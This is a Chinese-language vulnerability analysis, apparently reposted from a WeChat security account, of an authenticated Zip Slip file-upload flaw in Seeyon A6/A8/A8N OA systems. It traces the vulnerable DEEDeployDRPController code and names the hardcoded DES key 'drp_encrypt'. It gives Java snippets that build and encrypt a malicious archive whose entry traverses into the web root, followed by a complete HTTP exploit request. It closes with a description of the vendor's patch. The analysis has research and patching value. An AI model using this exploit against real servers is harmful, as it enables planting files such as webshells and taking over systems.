1 漏洞说明
uploadDRP进进行数据文件导入时未对文件安全性进行校验,导致任意文件上传。
漏洞编号
220706-S005
影响版本
- A6、A8、A8N的V5.6~V8.1SP1全系列版本
漏洞等级
高危
2 漏洞详情
漏洞类位置——》com/seeyon/apps/dee/controller/DEEDeployDRPController.class
第六行开始处理表单数据,首先判断表单文件名是不是drpFile,然后再判断上传的文件名是不是以drp结尾。
前面基础参数校验通过后,会来到第15行,调用一个decryptDrpFile方法,通过方法名了解到是解密drp文件的。
第二行可以看出,是调用的DES解密,然后传入的KEY为:drp_encrypt
后面代码逻辑就是读取表单传送的file数据内容,然后利用CipherOutputStream去解密。
然后将解密好的内容写入到deeNewPath,一个临时的路径里面
回到uploadDRP中,解密好后,第16-22行是读取配置文件判断是否为集群环境,一般我们都不是,所以直接走到第24行代码。
ZipUtil.unZip(new File(deeNewPath), tmpDirectory);
Zip Slip
漏洞。至此,漏洞分析就差不多了,ZIP解压跨目录这类漏洞在很多应用系统中都会出现。
最终漏洞利用的话我们需要制作一个利用DES加密后的数据包
正常上传解压成功后的返回数据为:
{"code":502,"retMsg":"上传失败!"}
在BURP直接Paste from file发送该drp文件内容,会返回
{"code":502,"retMsg":"导入失败,请选择正确的drp包!"}
分析后发现在unzip解压drp解密后的数据时,识别不了内容为ZIP压缩包。
但在后台进行点击导入操作发送的包才可以,具体原因我发现在后台进行导入时,数据包大小Content-Length要比BURP发包小一倍左右。
直接用一段JAVA代码来发送,方便又快捷。
举例,具体代码自行实现。
drp数据包内容:
zipBody = zipBytesTo("seeyonsectest".getBytes(StandardCharsets.UTF_8), "../../../ApacheJetspeed/webapps/seeyon/" + fileName, DEE_XML
.getBytes(StandardCharsets.UTF_8), "dee.xml", "".getBytes(StandardCharsets.UTF_8), "dee-resource.properties");
DesUtil desUtil = new DesUtil("drp_encrypt");
zipBody = desUtil.encryptByte(zipBody);
发包:
private HttpResult postFile(String url, String path, byte[] zipBody) throws IOException {
this.httpDriver.setUri(url + path);
MultipartEntityBuilder builder = MultipartEntityBuilder.create().addBinaryBody("drpFile", zipBody, ContentType.create("application/octet-stream"), "z.drp");
builder.setMode(HttpMultipartMode.BROWSER_COMPATIBLE);
this.httpDriver.getHeader().remove("Content-Type");
this.httpDriver.setHttpEntity(builder.build());
return this.httpDriver.post();
}
3 漏洞EXP
登录后
POST /seeyon/deeDeployDRPController.do?method=uploadDRP HTTP/1.1
Accept: */*
Content-Length: 3070
Content-Type: multipart/form-data; boundary=AIvvJ1pyEL_HYutD-JzEPsPXj4vEp3BsVaZNP2j
Host: 192.168.91.17
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.13 (Java/1.8.0_321)
Cookie: JSESSIONID=7494FE84EA8FE2617DFBB8D3BC39BCB0; hostname=192.168.91.17:80; login_locale=zh_CN
Accept-Encoding: gzip,deflate
--AIvvJ1pyEL_HYutD-JzEPsPXj4vEp3BsVaZNP2j
Content-Disposition: form-data; name="drpFile"; filename="z.drp"
Content-Type: application/octet-stream
drp数据包内容
--AIvvJ1pyEL_HYutD-JzEPsPXj4vEp3BsVaZNP2j--
4 漏洞补丁
补丁包中新增了一个ReadFileHead类,用来判断上传的文件是否为drp。
还有ZipUtil多了个copyUnZip方法,代码在23-24行处理文件名,替换文件名中的斜杠,在27行判断文件名是否有斜杠,其他的跟unzip方法差不多。
并且在uploadDRP中进行了替换,将原本的unzip换成了copyUnZip。
补丁简单粗暴的将压缩包中的文件名../给处理了,从而修复漏洞。:)
5 参考资料
https://service.seeyon.com/patchtools/tp.html#/patchList?type=%E5%AE%89%E5%85%A8%E8%A1%A5%E4%B8%81&id=127
原文始发于微信公众号(渝安服):某OA近期漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论